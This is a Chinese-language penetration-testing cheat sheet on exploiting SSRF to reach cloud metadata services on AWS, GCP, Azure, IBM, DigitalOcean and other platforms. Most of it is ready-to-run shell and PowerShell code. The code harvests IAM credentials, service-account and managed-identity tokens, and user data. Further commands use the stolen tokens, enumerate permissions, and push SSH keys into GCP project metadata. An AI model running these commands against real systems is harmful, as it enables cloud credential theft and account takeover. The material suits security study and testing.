AWS
在 AWS EC2 环境中滥用 SSRF
元数据 端点可以从任何 EC2 机器内部访问,并提供有关它的有趣信息。它可以通过以下 URL 访问:http://169.254.169.254
(有关元数据的信息在这里 )。
有 2 个版本 的元数据端点。第一个 版本允许通过 GET 请求 访问 该端点(因此任何 SSRF 都可以利用它 )。对于 版本 2 ,IMDSv2 ,您需要通过发送带有 HTTP 头 的 PUT 请求来请求 令牌 ,然后使用该令牌通过另一个 HTTP 头访问元数据(因此用 SSRF 滥用它 更复杂 )。
请注意,如果 EC2 实例强制执行 IMDSv2,根据文档 ,PUT 请求的响应 将具有 跳数限制为 1 ,使得无法从 EC2 实例内部的容器访问 EC2 元数据。
此外,IMDSv2 还将 阻止包含 X-Forwarded-For
头的请求以获取令牌 。这是为了防止配置错误的反向代理能够访问它。
您可以在文档中找到有关 元数据端点的信息 。在以下脚本中,从中获取了一些有趣的信息:
Copy EC2_TOKEN = $( curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2> /dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2> /dev/null )
HEADER = "X-aws-ec2-metadata-token: $EC2_TOKEN"
URL = "http://169.254.169.254/latest/meta-data"
aws_req = ""
if [ "$( command -v curl )" ]; then
aws_req = "curl -s -f -H '$HEADER'"
elif [ "$( command -v wget )" ]; then
aws_req = "wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: " ; eval $aws_req "$URL/ami-id" ; echo ""
printf "instance-action: " ; eval $aws_req "$URL/instance-action" ; echo ""
printf "instance-id: " ; eval $aws_req "$URL/instance-id" ; echo ""
printf "instance-life-cycle: " ; eval $aws_req "$URL/instance-life-cycle" ; echo ""
printf "instance-type: " ; eval $aws_req "$URL/instance-type" ; echo ""
printf "region: " ; eval $aws_req "$URL/placement/region" ; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info" ; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document" ; echo ""
echo ""
echo "Network Info"
for mac in $( eval $aws_req "$URL/network/interfaces/macs/" 2> /dev/null ); do
echo "Mac: $mac"
printf "Owner ID: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id" ; echo ""
printf "Public Hostname: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname" ; echo ""
printf "Security Groups: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups" ; echo ""
echo "Private IPv4s:" ; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/" ; echo ""
printf "Subnet IPv4: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block" ; echo ""
echo "PrivateIPv6s:" ; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s" ; echo ""
printf "Subnet IPv6: " ; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks" ; echo ""
echo "Public IPv4s:" ; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s" ; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $( eval $aws_req "$URL/iam/security-credentials/" 2> /dev/null ); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role" ; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance" ; echo ""
作为一个公开可用的IAM凭证 暴露示例,您可以访问:http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
您还可以在以下地址检查公共EC2安全凭证 :http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
然后,您可以使用这些凭证与AWS CLI 。这将允许您执行该角色具有权限 的任何操作。
要利用新的凭证,您需要创建一个新的AWS配置文件,如下所示:
Copy [profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
注意 aws_session_token ,这是使配置文件正常工作的必要条件。
PACU 可以与发现的凭据一起使用,以找出您的权限并尝试提升权限。
AWS ECS(容器服务)凭据中的 SSRF
ECS 是一组逻辑上的 EC2 实例,您可以在其上运行应用程序,而无需扩展自己的集群管理基础设施,因为 ECS 为您管理这一切。如果您成功地攻陷在 ECS 中运行的服务,元数据端点会发生变化 。
如果您访问 http://169.254.170.2/v2/credentials/<GUID> ,您将找到 ECS 机器的凭据。但首先,您需要 找到 <GUID> 。要找到 <GUID>,您需要读取机器内部的 environ 变量 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI 。
您可以通过利用 路径遍历 来读取它,路径为 file:///proc/self/environ
。
提到的 http 地址应该会给您 AccessKey、SecretKey 和 token 。
Copy curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2> /dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
请注意,在某些情况下 ,您将能够从容器访问EC2元数据实例 (请检查之前提到的IMDSv2 TTL限制)。在这些场景中,您可以从容器访问容器IAM角色和EC2 IAM角色。
AWS Lambda的SSRF
在这种情况下,凭证存储在环境变量中 。因此,要访问它们,您需要访问类似于**file:///proc/self/environ
**的内容。
有趣的环境变量 的名称 是:
此外,除了IAM凭证,Lambda函数在启动时还会有传递给函数的事件数据 。这些数据通过运行时接口 提供给函数,并可能包含敏感 的信息 (例如在stageVariables 中)。与IAM凭证不同,这些数据可以通过标准SSRF在**http://localhost:9001/2018-06-01/runtime/invocation/next
**访问。
请注意,lambda凭证 在环境变量 中。因此,如果lambda代码的堆栈跟踪 打印环境变量,则可能通过在应用程序中引发错误来外泄它们 。
AWS Elastic Beanstalk的SSRF URL
我们从API中检索accountId
和region
。
Copy http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
我们然后从 API 中检索 AccessKeyId
、SecretAccessKey
和 Token
。
Copy http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
然后我们使用凭据执行 aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/
。
GCP
您可以在这里找到关于元数据端点的文档 。
Google Cloud 的 SSRF URL
需要 HTTP 头 Metadata-Flavor: Google
,您可以通过以下 URL 访问元数据端点:
http://metadata.google.internal
提取信息的有趣端点:
Copy # /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive= true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/" ); do
echo " IP: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip" )
echo " Subnetmask: " $( curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask" )
echo " Gateway: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway" )
echo " DNS: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers" )
echo " Network: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network" )
echo " ============== "
done
# Service Accounts
for sa in $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/" ); do
echo " Name: $sa"
echo " Email: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email" )
echo " Aliases: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases" )
echo " Identity: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity" )
echo " Scopes: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes" )
echo " Token: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token" )
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta 目前不需要头部(感谢 Mathias Karlsson @avlidienbrunn)
Copy http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
为了使用被外泄的服务账户令牌 ,你可以直接执行:
Copy # Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN =< token >
gcloud projects list
# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
添加 SSH 密钥
提取令牌
Copy http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
检查令牌的范围(使用之前的输出或运行以下命令)
Copy curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to" : "101302079XXXXX" ,
"audience" : "10130207XXXXX" ,
"scope" : "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring" ,
"expires_in" : 2443,
"access_type" : "offline"
}
现在推送 SSH 密钥。
Copy curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Cloud Functions
元数据端点的工作方式与虚拟机相同,但没有某些端点:
Copy # /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/" ); do
echo " Name: $sa"
echo " Email: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email" )
echo " Aliases: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases" )
echo " Identity: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity" )
echo " Scopes: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes" )
echo " Token: " $( curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token" )
echo " ============== "
done
Digital Ocean
没有像 AWS 角色或 GCP 服务账户这样的东西,因此不要指望找到元数据机器人凭据
Documentation available at https://developers.digitalocean.com/documentation/metadata/
Copy curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
文档 在这里 。
一个 Azure VM 可以附加 1 个系统管理身份和多个用户管理身份。这基本上意味着你可以 模拟所有附加到 VM 的管理身份 。
默认情况下,元数据端点将使用 系统分配的 MI(如果有) 。
不幸的是,我找不到任何元数据端点来指示 VM 附加的所有 MI。
因此,要找到所有附加的 MI,你可以:
使用 az cli 获取 附加身份 (如果你已经在 Azure 租户中攻陷了一个主体)
Copy az vm identity show \
--resource-group < rsc-grou p > \
--name < vm-nam e >
Copy export API_VERSION = "2021-12-13"
# Get token from default MI
export TOKEN = $( curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
| jq -r '.access_token' )
# Get needed details
export SUBSCRIPTION_ID = $( curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId' )
export RESOURCE_GROUP = $( curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName' )
export VM_NAME = $( curl -s -H "Metadata:true" \
"http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name' )
# Try to get attached MIs
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
获取 租户中所有定义的托管身份,并 暴力破解 以查看它们中是否有任何与虚拟机关联:
在令牌请求中使用任何参数 object_id
、client_id
或 msi_res_id
来指示您想要使用的托管身份(文档 )。如果没有,将使用 默认 MI 。
Bash PS
Copy HEADER = "Metadata:true"
URL = "http://169.254.169.254/metadata"
API_VERSION = "2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Copy # Powershell
Invoke-RestMethod -Headers @{ "Metadata" = "true" } -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{ "Metadata" = "true" } -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
# Paths
/metadata/instance?api-version =2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version =2017-04-02 & format = text
/metadata/instance/compute/userData?api-version =2021-01-01 & format = text
Azure App Service
从 env 中,您可以获取 IDENTITY_HEADER
和 IDENTITY_ENDPOINT
的值。您可以使用这些值来获取与元数据服务器通信的令牌。
大多数情况下,您需要为以下资源之一获取令牌:
Copy # Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret: $IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret: $IDENTITY_HEADER
# API
# Get Subscriptions
URL = "https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL = "https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL = "https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
Copy # API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @ {
Method = 'GET'
Uri = $URI
Headers = @ {
'Authorization' = "Bearer $Token"
}
}
( Invoke-RestMethod @RequestParams).value
# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @ {
Method = 'GET'
Uri = $URI
Headers = @ {
'Authorization' = "Bearer $Token"
}
}
( Invoke-RestMethod @RequestParams).value
# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount - AccessToken $token - GraphAccessToken $graphaccesstoken - AccountId 2e91a4f12984 - 46ee - 2736 - e32ff2039abc
# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line: 1 char: 1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [ Get-AzResource ] , ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
IBM Cloud
请注意,在IBM中,默认情况下元数据是未启用的,因此即使您在IBM云虚拟机内,也可能无法访问它
Copy export instance_identity_token = ` curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
以下是各种平台元数据服务的文档,突出显示了可以访问实例的配置和运行时信息的方法。每个平台提供独特的端点来访问其元数据服务。
Packetcloud
访问 Packetcloud 的元数据的文档可以在此找到:https://metadata.packet.net/userdata
OpenStack/RackSpace
这里没有提到需要头部。元数据可以通过以下方式访问:
http://169.254.169.254/openstack
HP Helion
这里也没有提到需要头部。元数据可以在以下地址访问:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloud 提供了一系列端点以访问各种元数据方面:
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
Alibaba
Alibaba 提供了访问元数据的端点,包括实例和镜像 ID:
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Kubernetes ETCD 可以保存 API 密钥、内部 IP 地址和端口。访问示例如下:
curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Docker 元数据可以在本地访问,以下是获取容器和镜像信息的示例:
通过 Docker 套接字访问容器和镜像元数据的简单示例:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
在容器内,使用 curl 和 Docker 套接字:
curl --unix-socket /var/run/docker.sock http://foo/containers/json
curl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Rancher 的元数据可以通过以下方式访问:
curl http://rancher-metadata/<version>/<path>